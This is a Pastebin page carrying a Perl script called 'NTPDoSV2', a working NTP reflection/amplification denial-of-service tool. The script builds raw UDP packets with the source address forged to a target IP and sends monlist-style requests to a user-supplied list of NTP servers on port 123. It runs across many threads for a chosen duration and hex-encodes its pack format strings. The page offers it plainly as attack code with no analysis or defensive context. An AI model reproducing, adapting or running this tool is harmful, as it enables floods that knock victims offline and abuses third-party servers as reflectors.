Advertisement
1337ings

[Perl] NTPDoSV2

Jan 30th, 2017
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.81 KB | None | 0 0
  1. use threads;
  2. use Socket;
  3.  
  4. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  5. #Usage
  6. if ( @ARGV == 0 ) {
  7.         print "Usage: ./$PROG [IP] [PORT] [TIME] [LIST] [THREADS]\nCoded by Chris Poole | @codingplanets\n";
  8.     exit;
  9. }
  10. my $num_of_threads = $ARGV[4];
  11. my $target = $ARGV[0];
  12. my $udp_src_port = $ARGV[1];
  13. my $time = $ARGV[2];
  14. #Open Input List.
  15. my $openme = $ARGV[3];
  16. open my $handle, '<', $openme;
  17. chomp(my @servers = <$handle>);
  18. close $handle;
  19. my $ppr = '4';
  20. my @threads = initThreads();
  21. print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";
  22.  
  23. #Does the list exist?
  24. if (-e $openme) {
  25.         print "Using $openme as list.\n";
  26. }
  27. unless (-e $openme) {
  28.         print "List does not exist.\n";
  29. exit();
  30. }
  31.  
  32. #Start Threading
  33. foreach(@threads){
  34.                 $_ = threads->create(\&attackshit);
  35. }
  36. foreach(@threads){
  37.         $_->join();
  38. }
  39. sub initThreads{
  40.         my @initThreads;
  41.         for(my $i = 1;$i<=$num_of_threads;$i++){
  42.                 push(@initThreads,$i);
  43.         }
  44.         return @initThreads;
  45. }
  46.  
  47.  
  48. #Start DDosing.
  49. sub attackshit{
  50.  
  51. alarm("$time");
  52. repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
  53. my $ip_src = ( gethostbyname($target) )[4];
  54. socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
  55. setsockopt( RAW, 0, 1, 1 );
  56. main();
  57.  
  58. sub main {
  59.     my $packet;
  60.     $packet = ip_header();
  61.     $packet .= udp_header();
  62.     $packet .= payload();
  63.                 #send_packet($packet) && goto repeat;
  64.                 #send_packet($packet)
  65. for (1 .. $ppr) {
  66.         send_packet($packet) or last;
  67.         }
  68. goto repeat;
  69. }
  70.  
  71. sub ip_header {
  72.     my $ip_ver  = 4;
  73.     my $ip_header_len  = 5;
  74.     my $ip_tos  = 0;
  75.     my $ip_total_len   = $ip_header_len + 20;
  76.     my $ip_frag_id  = 0;
  77.     my $ip_frag_flag   = "\x30\x31\x30";
  78.     my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
  79.     my $ip_ttl  = 255;
  80.     my $ip_proto  = 17;
  81.     my $ip_checksum    = 0;
  82.     my $ip_header  = pack(
  83. "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
  84.   $ip_ver . $ip_header_len,  $ip_tos,
  85.   $ip_total_len,  $ip_frag_id,
  86.   $ip_frag_flag . $ip_frag_offset, $ip_ttl,
  87.   $ip_proto,  $ip_checksum,
  88.   $ip_src,  $ip_dst
  89.     );
  90.     return $ip_header;
  91. }
  92.  
  93. sub udp_header {
  94.     my $udp_dst_port = 123;
  95.     my $udp_len  = 8 + length( payload() );
  96.     my $udp_checksum = 0;
  97.     my $udp_header   = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
  98.   $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
  99.     return $udp_header;
  100. }
  101.  
  102. sub payload {
  103.     my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
  104.     my $payload = pack( "\x61" . length($data), $data );
  105.     return $payload;
  106. }
  107.  
  108. sub send_packet {
  109.     send( RAW, $_[0], 0,
  110.   pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
  111. }
  112.  
  113. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement